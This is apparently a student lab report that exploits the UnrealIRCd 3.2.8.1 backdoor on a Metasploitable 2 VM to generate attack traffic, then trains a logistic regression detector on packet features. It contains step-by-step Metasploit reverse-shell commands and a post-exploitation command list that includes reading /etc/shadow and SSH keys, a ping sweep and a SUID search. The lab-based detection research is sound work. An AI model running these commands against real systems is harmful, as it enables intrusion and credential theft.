# Report

Created by Ahmed Khaled

## Background

UnrealIRCd is a widely used open-source Internet Relay Chat (IRC) server. In 2010, a maliciously modified version of UnrealIRCd 3.2.8.1 was hosted on the official download site. This version included a backdoor intentionally embedded into the source code. Anyone who downloaded and compiled this version between November 2009 and June 2010 unknowingly installed a compromised server.

This backdoor allowed unauthenticated remote code execution by sending specially crafted data to the server's listening port. It gained significant attention in the security community because it showcased the risks of trusting unverified software sources.

### How It Works

The malicious code in the UnrealIRCd backdoor listens for specific commands sent over the IRC port (typically 6667). When it detects the special trigger sequence (e.g., `AB;`), it interprets the following data as a shell command and executes it with the privileges of the user running the IRC server.

This kind of backdoor bypasses normal authentication and provides direct system-level command execution. It's essentially a built-in remote shell, embedded at the source-code level.

In Metasploit, this vulnerability is exploited using the module:

```
exploit/unix/irc/unreal_ircd_3281_backdoor
```

### Using the Exploit in Metasploit

1. **Start the Metasploit Framework:**

   ```
   msfconsole
   ```

2. **Load the exploit module:**

   ```
   use exploit/unix/irc/unreal_ircd_3281_backdoor
   ```

3. **Set the target information:**

   ```
   set RHOSTS <target_ip>
   set RPORT 6667
   ```

4. **Choose a payload:**

   A common payload is a reverse shell:

   ```
   set PAYLOAD cmd/unix/reverse
   set LHOST <your_kali_ip>
   set LPORT <listening_port>
   ```

5. **Run the exploit:**

   ```
   exploit
   ```

6. **Receive the shell:**

   If successful, you will get a command shell with the privileges of the UnrealIRCd server process, usually as a low-privileged user on Metasploitable 2.

## Commands run Post Exploitation

In this phase of the experiment, I exploited the UnrealIRCd backdoor vulnerability to gain remote shell access from a Kali Linux machine to a Metasploitable 2 target. Once access was established, I executed a range of enumeration and reconnaissance commands to simulate post-exploitation behavior. The goal was to generate malicious network traffic that reflects realistic attacker activity. This traffic was later captured for analysis and used in the dataset for training and evaluating a machine learning model. Below is a categorized breakdown of the commands executed during this session.

### 🧠 1. System Discovery & Host Reconnaissance

- `whoami`, `id`: Identify the current user and privileges.
- `uname -a`, `hostname`, `uptime`: Gather OS info, hostname, and system uptime.
- `lspci`, `lsusb`, `dmidecode -t bios`: Collect hardware details like PCI devices, USB, BIOS version — useful for fingerprinting the host.

---

## 🌐 2. Network Scanning & Configuration

- `for ip in 10.0.3.{1..254}; do ping -c1 -W1 $ip; done`: Scans the local subnet for active hosts via ICMP ping sweep.
- `ifconfig -a`, `ip link`, `ip addr`, `/sbin/ifconfig -a`: List all network interfaces and their configuration.
- `netstat -tulpn`, `route -n`, `arp -a`: Identify open ports, routing table, and ARP cache.
- `cat /etc/network/interfaces`, `cat /etc/resolv.conf`, `cat /etc/networks`: Review static network setup and DNS config.

---

## 🔍 3. Process & Service Enumeration

- `ps aux | grep root`, `ps -elf | grep root`: View running processes owned by root.
- `dpkg -l`: List all installed packages — useful for identifying outdated or vulnerable software.

---

## 📡 Connections & Listening Services

- `lsof -i`, `lsof -i :80`: Show network-connected processes and services on port 80.
- `netstat -antup`, `netstat -antpx`, `netstat -tulpn`: Analyze active connections, ports, and listening services.
- `last`, `w`, `who`: Display logged-in users and session history.

---

## 🔐 User & Privilege Information

- `cat /etc/passwd`, `/etc/group`, `/etc/shadow`: Reveal user accounts, groups, and hashed passwords.
- `cat /etc/sudoers`, `sudo -l`: Check sudo access and privileges.

---

## 🏠 File System Reconnaissance

- `ls -ahlR /root/`, `/home/`: Recursively list files in key directories to find sensitive data or SSH keys.
- `cat ~/.ssh/*`: Read SSH keys from compromised user.
- `mount`, `df -h`, `cat /etc/fstab`: Analyze mounted file systems and disk space.

---

## 🔍 SUID Binaries & Privilege Escalation

- `find / -perm -4000 -user root -exec ls -ld {} \;`: Search for SUID binaries that run with root privileges, often used to escalate privileges.

---

## 🛠️ Available Tools for Further Exploitation

- `which perl`, `python`, `python3`, `gcc`: Check if scripting languages or compilers are available for writing payloads or scripts.
- `which wget`, `nc`, `netcat`: Determine if tools for downloading files or reverse shells are installed.

## Normal Session Commands

To generate **normal traffic** in the dataset, various network commands were executed between the **Kali** and **Metasploitable** machines. These commands simulate common network interactions, such as **pinging**, **FTP transfers**, **DNS queries**, and more, creating traffic that represents legitimate network communication. These activities serve as the baseline for "normal" behavior in the dataset.

## Normal Session Commands:

1. **Ping Test:**
    - `ping -c 10 <target-ip>`: Sends **10 ping requests** to the target machine, ensuring basic connectivity.
2. **DNS Lookup:**
    - `dig @<target-ip> example.com`: Queries DNS to resolve the domain **example.com** via the target DNS server.

- `host <domain> <dns-server>`: Another method for DNS lookup using `host` to resolve a domain.

3. **FTP Commands:**

   - The FTP session was started using:

     ```
     ftp -inv <target-ip> <<EOF
     user anonymous anonymous
     ls
     quit
     EOF
     ```

     This connects to the **FTP server**, lists files, and then quits the session.

4. **Simple Netcat (nc) Test:**

   - `echo "test message" | nc <target-ip> 6667`: Sends a **test message** over TCP to port 6667, a common chat service port.

5. **HTTP Request:**

   - `curl <target-ip>/`: Fetches the **home page** from the web server running on the target.
   - `wget http://<target-ip>/index.html -O /tmp/index.html`: Downloads the **index.html** page from the web server to the Kali machine.

6. **Traceroute:**

   - `traceroute <target-ip>`: Traces the route packets take to reach the **Metasploitable** machine, helping to analyze network paths.

7. **SMB (Samba) Commands:**

   - `smbclient -L //<target-ip> -N`: Lists **shared SMB resources** available on the target machine.
   - `rpcclient -U "" <target-ip> -c "srvinfo; enumdomusers; exit"`: Performs **RPC client queries** to retrieve system info and enumerate domain users.

8. **Telnet Session:**

- `telnet <target-ip> 23 <<EOF`: Starts a **Telnet session** to port 23, simulating a connection to a service typically used for remote access.

  ```
  telnet <victim ip> 25 <<EOF
  HELO example.com
  MAIL FROM:<test@example.com>
  RCPT TO:<user@metasploitable.local>
  DATA
  Subject: Test Email
  This is a test.
  .
  QUIT
  EOF
  ```

9. **VNC Viewer:**

   - `vncviewer <target-ip>`: Connects to the **VNC server** running on the target machine, simulating remote desktop access.

10. **Sending Test Email via Telnet:**

    - `telnet <target-ip> 25 <<EOF`: Simulates sending an **email** to the target's mail server (SMTP service):

      ```
      HELO example.com
      MAIL FROM:<test@example.com>
      RCPT TO:<user@metasploitable.local>
      DATA
      Subject: Test Email
      This is a test.
      .
      QUIT
      ```

11. **Web Testing with Curl:**

    - A loop that requests multiple paths on the target web server, like `index.html`, `dvwa/`, `phpinfo.php`:

```
for path in "" "index.html" "dvwa/" "phpinfo.php"; do
  curl http://<target-ip>/$path > /dev/null 2>&1
  sleep $((RANDOM % 3))
done
```

12. **Apache Web Server Setup on Kali:**
    - The **Kali machine** starts an **Apache2 web server** to simulate a legitimate service for Metasploitable to access:

    ```
    sudo apt install apache2
    sudo systemctl start apache2
    ```

---

# Feature Extraction from Network Traffic

To prepare the dataset for training and evaluation, relevant features were extracted from raw `.pcap` files using **TShark**, the command-line interface of Wireshark. This approach enabled the conversion of raw packet-level data into structured, machine-readable format suitable for machine learning.

The following features were extracted for both **normal** and **post-exploitation** traffic:

- **Temporal Features**:
  - `frame.time_epoch`: Absolute timestamp of the packet.
  - `frame.time_delta`: Time difference from the previous packet.
- **IP-Level Features**:
  - `ip.proto`: IP protocol number (e.g., TCP = 6, UDP = 17).
  - `ip.ttl`: Time-To-Live value, often indicative of OS/hop behavior.
  - `ip.src` / `ip.dst`: Source and destination IP addresses.
- **Transport-Level Features (TCP/UDP)**:
  - `tcp.srcport` / `tcp.dstport`: TCP source/destination ports.
  - `udp.srcport` / `udp.dstport`: UDP source/destination ports.

    - `tcp.flags`: Flags indicating control information (e.g., SYN, ACK).
    - `tcp.seq` / `tcp.ack`: Sequence and acknowledgment numbers.
    - `tcp.len`: Payload length in the TCP segment.
    - `tcp.window_size`: Receiver window size.
    - `tcp.options.mss`: Maximum Segment Size option (if present).
    - `tcp.analysis.bytes_in_flight`: Bytes that have been sent but not acknowledged.
    - `udp.length`: Length of UDP packet.
- **Frame-Level Feature**:
    - `frame.len`: Total frame size in bytes.

These features were selected for their relevance in identifying behavioral patterns within network traffic. For instance:

- **TCP flags** and **sequence numbers** can indicate session initiation or abnormal flow behavior.
- **Time deltas** and **bytes in flight** help in detecting timing anomalies or retransmissions.
- **TTL values** may vary across operating systems and can help in identifying spoofed or anomalous sources.
- **Port numbers** can point to specific services or scanning activity.

By combining these low-level indicators, the dataset captures both **stateless** properties (e.g., ports, sizes) and **stateful flow characteristics** (e.g., time delta, TCP flags, window size), enabling a machine learning model to effectively distinguish between benign and malicious sessions.

---

## ML Algorithm Chosen and Justification

For this project, **Logistic Regression** was selected to classify network packets as belonging to either a **normal session** or a **post-exploitation session**. Given the binary nature of the classification problem and the need for both speed and interpretability, Logistic Regression offered a strong balance of simplicity and effectiveness.

Key reasons for choosing Logistic Regression include:

- **Binary classification suitability**: Logistic Regression is inherently designed for binary outcomes, aligning well with the project's objective.
- **Interpretability**: The algorithm provides direct insights into feature importance via its learned coefficients.
- **Efficiency**: It trains quickly even on large datasets, making it suitable for real-time or near-real-time analysis.
- **Well-understood behavior**: As a baseline model, it offers reliable performance and easy debugging.

The dataset contained over 4,000 labeled packets extracted from network traffic captures. The model aimed to determine whether each packet occurred during normal operations or during a post-exploitation phase of an attack.

---

## Key Results and Observations

The Logistic Regression model demonstrated strong performance across multiple evaluation metrics, indicating that it effectively learned the patterns distinguishing normal from post-exploitation traffic.

## Cross-Validation:

- **Cross-validation scores** across 5 folds: `[0.9209, 0.9175, 0.9192, 0.9208, 0.9191]`
- **Mean cross-validation score**: **0.9195**

This consistency suggests that the model generalized well across different subsets of the data.

## Final Evaluation on Test Set:

- **Accuracy**: 0.9230
- **Precision**: 0.9270
- **Recall**: 0.9686
- **F1 Score**: 0.9473

- **ROC-AUC**: 0.9535

These results highlight several important observations:

- The **high recall** (96.86%) indicates that the model was particularly effective at identifying post-exploitation packets, which is essential in a security context where false negatives can be costly.
- The **F1 score** of 0.947 reflects a good balance between precision and recall.
- The **ROC-AUC score of 0.953** confirms strong overall classification capability.

Overall, the Logistic Regression model provided a reliable and interpretable baseline for packet-level anomaly detection in the context of cyberattack analysis.